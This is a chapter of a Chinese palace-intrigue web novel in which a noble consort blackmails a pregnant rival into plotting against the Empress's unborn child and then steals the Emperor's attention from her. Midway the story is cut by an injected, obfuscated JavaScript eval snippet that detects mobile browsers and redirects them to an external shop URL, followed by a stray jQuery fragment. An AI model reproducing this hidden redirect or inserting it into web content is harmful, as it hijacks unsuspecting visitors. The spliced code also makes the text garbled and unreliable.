“我瞧着你是这段时间得了皇上的恩宠,忘记你到底是谁的人了,还真打算在这深宫中将你肚子里的孩子养大不成?”
淑贵妃斜倚在贵妃榻上,居高临下的看着不远处跪在地上大着肚子的琪妃,手中的杯子被她狠狠的攥在手里。
要不是顾念着她肚子里那个孩子尚且有用,早就动手打死了。
淑贵妃抬手将手中的杯子狠狠丢在琪妃面前的地上,茶水溅了一地,碎片乱飞,砸在她身上掉在她衣服上。
那张精致的脸上丝毫不见任何气恼的痕迹,嘴角依旧挂着慵懒的笑意,看向琪妃的眼神里却不像脸上展现出的那样柔和。
她伸出涂着豆蔻的手指从宫女的手里接过帕子,随意擦了擦指尖并不存在的水渍,语气轻飘飘。
“茶杯不听话,砸了也罢。”
她说“砸了也罢”那四个字的时候,目光落在跪着的琪妃身上,随后转向地上那堆碎的不能再碎的杯子碎片上。
琪妃艰难的跪在地上,身体压迫着肚子,时时刻刻的提醒着她,肚子里的孩子并不是她的,而是一个随时可以拿出来对付旁人的工具。
“东西拿过来。”
淑贵妃话音刚落,一旁等待着的宫女立刻拿着刚得来的新线索走到琪妃面前,将东西递了过去。
琪妃抬头先是看向坐在上首的淑贵妃,见对方并没有阻拦,才伸手接过。
从外观看只是一个非常普通的信封,将薄薄的信纸从信封里面抽出来,入眼也只是简单的几行字,可就是这简单的几行字,却足以让琪妃的汗毛瞬间立起来。
“看到了?”淑贵妃明知故问道。
她从榻上下来,走到琪妃面前伸手将信纸连同信封全部都抽走,拿开灯罩放在火上干脆利落的烧干净。
做完这些,她才转头跟琪妃说正经的话。
“既然已经知道了,那皇后肚子里的孩子就不能留,必须除掉!”
琪妃听完淑贵妃的话后瞬间慌乱起来,她可没想要做害人的事情,她虽然是当了淑贵妃的工具人,但要害人这件事,她真的不行的。
淑贵妃等了半天没等到对方的回应,不用猜便已经知道了琪妃这个人的德行,有贼心没贼胆,废物一个。
“不做?”淑贵妃问。
“我…我…”
琪妃还没来得及说完,便直接被淑贵妃打断。
“不做也可以,我现在就带着你的奸夫去见皇上,欺君之罪你知道是什么下场,你是想要你家里的所有人都为你陪葬是吗?”
琪妃一听欺君之罪,那可是要诛九族的大罪,她立马慌张的跪着的姿势往淑贵妃的方向去。
她颤抖着双手抓住淑贵妃的衣服。
“娘娘,不要…不要。”
淑贵妃抬脚踹向她的手臂:“既然不要就去做!否则,你就等着你全家被满门抄斩吧。”
“…是。”
不一会儿,门外传来琪妃贴身宫女的声音,似乎正在说些什么,淑贵妃转头看了眼旁边站着的宫女,对方点了点头便出去了。
不过须臾,便听到一声清脆的巴掌声,说话声便变成了细微的哭声。
“敢在贵妃娘娘门前大呼小叫,我看你是活腻了。”
随后便是哭和说话声,听不太真切。
自我管教结束后,宫女将对方带了进来,原本白皙的脸上多了个巨大的红巴掌印,边缘泛着紫,可见打人者力气之大。
那人进来后跪在地上连头都不敢抬,丝毫不见在院中那副张狂的样子。
淑贵妃根本懒得跟她这种因为自家主子突然飞黄腾达,便以为有靠山在身,逐渐嚣张开始无法无天的蠢人多说一句。
“向贵妃娘娘重复一遍你刚才在院子内说的话。”
淑贵妃没说话,但她身旁的宫女确实不是凡人,能准确的读懂淑贵妃没张嘴的时候,内心所表达出来的想法。
那人跪在地上吓得一直哆哆嗦嗦,张了张嘴一直说不出来,偏头想要寻求自家主子的庇护,但很明显琪妃自己也自身难保。
“快说!”
宫女厉声斥责道,那人才犹豫着将刚才在院子中说过的话又重新说了一遍。
“…皇上…又…送…送了些…补品…说…午膳…过来陪…小主用膳。”
淑贵妃轻嗤一声:“还以为是什么皇恩浩荡的喜事儿呢,原来就是一些补品,你要不是有着身子,你以为这些东西真能轮得到你?”
淑贵妃狠狠的剜了琪妃一眼,末了善意的提醒她。
“真以为怀孕了就可以母凭子贵了?在这深宫中,怀上了不算本事,能生的下来平安长大才算是本事。”
“是,臣妾谨遵贵妃娘娘教诲。”
“瞧着时间不早了,回去准备午膳准备接驾吧。”
琪妃弯腰额头轻触地面,做尽了卑躬屈膝之事:“是,臣妾告退。”
琪妃踉跄着从地上站起来,双膝早就因为长时间的跪着导致有些酥麻,现下走路怕是比较费劲。
她的贴身宫女迅速伸手扶着她,两人缓慢的往外走,等到人彻底离开后,宫女凑过去问道。
“娘娘,真不打算给她点教训?”
淑贵妃正专心致志的看着手指上的豆蔻,听到宫女的话也只是一笑,随即反问。
“急什么?去找人去养心殿请皇上来用午膳。”
“娘娘的意思是?”
“皇上陪着一起用膳就当作天大的喜事不停炫耀,我偏要抢过来,让你知道谁才是你的主子。”
“是。”宫女得令迅速出门去了养心殿方向。
“皇上,您尝尝这个,这可是御膳房新研制出来的菜,味道不错,里面加了一些药材,可以缓解身体疲劳,正适合皇上吃。”
淑贵妃拿着公筷将盘子里面的菜夹到他碗里,随后托着脑袋看萧临渊一口口的吃下她夹的菜。
等萧临渊全部都吃下去后,她才笑出来,伸手又夹了一块。
萧临渊点了点头:“味道不错。”
“臣妾也觉得不错呢,皇上多吃点。”
另一边。
“娘娘,皇上身边的王公公托人过来传话,说是皇上今日去了淑贵妃宫里用膳,让娘娘不用等了。”
琪妃坐在凳子上,望着满桌已经没了热气的饭菜,听着宫女传回来的话,只觉得心跟这菜一样,一阵阵的发凉。
宫女瞧着琪妃脸色不对劲,连忙询问。
“娘娘,您没事儿吧?要不要奴婢去养心殿求求皇上。”
“不准去。”琪妃出声拦下她。
“淑贵妃这是给我一个警告,警告我不要忘记自己的身份,要我记得今日所得的一切都是仰仗了谁。”
琪妃说着低头摸了摸自己尚未隆起的肚子,她自然是知道的,可她也想为自己搏一搏。
“事已至此,走到现在这种地步,早就已经身不由己了。”
日子在私下悉悉索索的小动作当中越走越远,一转眼琪妃和皇后已经怀孕三月有余。
一大早太医便来请了平安脉,确定胎相已经稳固,可以适当的外出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739692|206026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。
这一消息可是给了那些原本就蠢蠢欲动的人一个最好的机会。
但皇后依旧维持着不出门的状态,反倒是琪妃被宫女扶着在御花园转了一圈,一路上遇到的妃嫔比平日里的都要多,每个人的视线都在她的肚子上转了又转,心里想的什么,她再清楚不过。
但她每一次转一圈之后要去的地方就是养心殿,萧临渊也已经对她每一天都会来一趟这件事情很习惯了。
不仅仅是他,还有一直守在门口的王德才,一见到琪妃的身影,立马就迎了上去。
“琪妃娘娘。”
“王公公,皇上在吗?”
琪妃扶着自己的肚子,步履缓慢的上台阶,一旁宫女的手里还拎着一个食盒,也是琪妃每一次来都会带的东西,是她专门叮嘱御膳房做的补汤。
按照以往的习惯,琪妃会先在养心殿里呆上一段时间,跟萧临渊闲聊一段时间,询问一些孩子最近的情况,最后会看着萧临渊将补汤全部都喝完,才会离开。
只是今日琪妃刚说完,王德才没立刻回答她的问题,凑过去犹豫着小声说。
“淑贵妃来了,现在还在里面跟皇上下棋呢,要不奴才进去通报一声?”
琪妃攥了攥袖口的布料,这是第几次了?上一次来的时候正巧撞见淑贵妃从养心殿里出来。
当时淑贵妃看她的眼神里都透露着一股子居高临下的施舍,只一眼她便知道淑贵妃是什么意思,无非是像当时的午膳一样,给她一个教训。
但不得不承认,这个教训彻底拿捏住了她。
她好不容易依靠着肚子里的孩子才能在皇上面前露脸,刷一些存在感,现在淑贵妃就是要告诉她,这些自己费劲所得到的关注度,是她伸伸手就能随意抢走的。
而且她毫无招架之力,只能认。
她认了。
“不用了。”琪妃拒绝,转头从宫女手里接过食盒递了过去“劳烦公公将补汤呈到皇上面前。”
王德才接过来。
“琪妃娘娘不再等等吗?”
“不等了,劳烦公公了。”
琪妃说完头也不回的带着人离开了。
王德才看向琪妃的背影以及自己手中的食盒,无奈的叹了口气,转身进了门。
淑贵妃捻着手中的黑子正在犹豫着应该下在哪里,抬眼便看到了拎着食盒进门的王德才。
她看了眼窗外的天色,这个时间点,来的人也只能是她。
“皇上,这是琪妃刚才送来的补汤,吩咐奴婢务必让皇上喝下。”
没等萧临渊有任何的反应,淑贵妃率先将手中的黑子丢回罐子里,支着脑袋看向对面。
“琪妃当真是关心皇上,日日送补汤过来,她还怀着孩子呢,当真是辛苦。”
萧临渊依旧低着头看着面前的棋面,棋子还夹在指尖等待放在棋盘上,对于淑贵妃的话,他完全没有任何反应。
轻微的‘哒’声响起,萧临渊侧头看向站在一旁的王德才,自然也瞧见了对方手里拎着的食盒。
“放哪儿吧,一会儿再说。”
嗓音不冷不淡的,大多是毫不在意以及注意力根本就不在这上面的随口敷衍。
萧临渊的反应极大程度的满足了淑贵妃的内心。
“皇上不喝吗?这可是琪妃亲自送来的。”
“等会儿再喝,该你下了。”
淑贵妃笑着应声,手伸进棋罐里摸了个棋子出来,看向棋盘时的神情愉悦占了大部分,更多的是凌驾于她人之上的得意。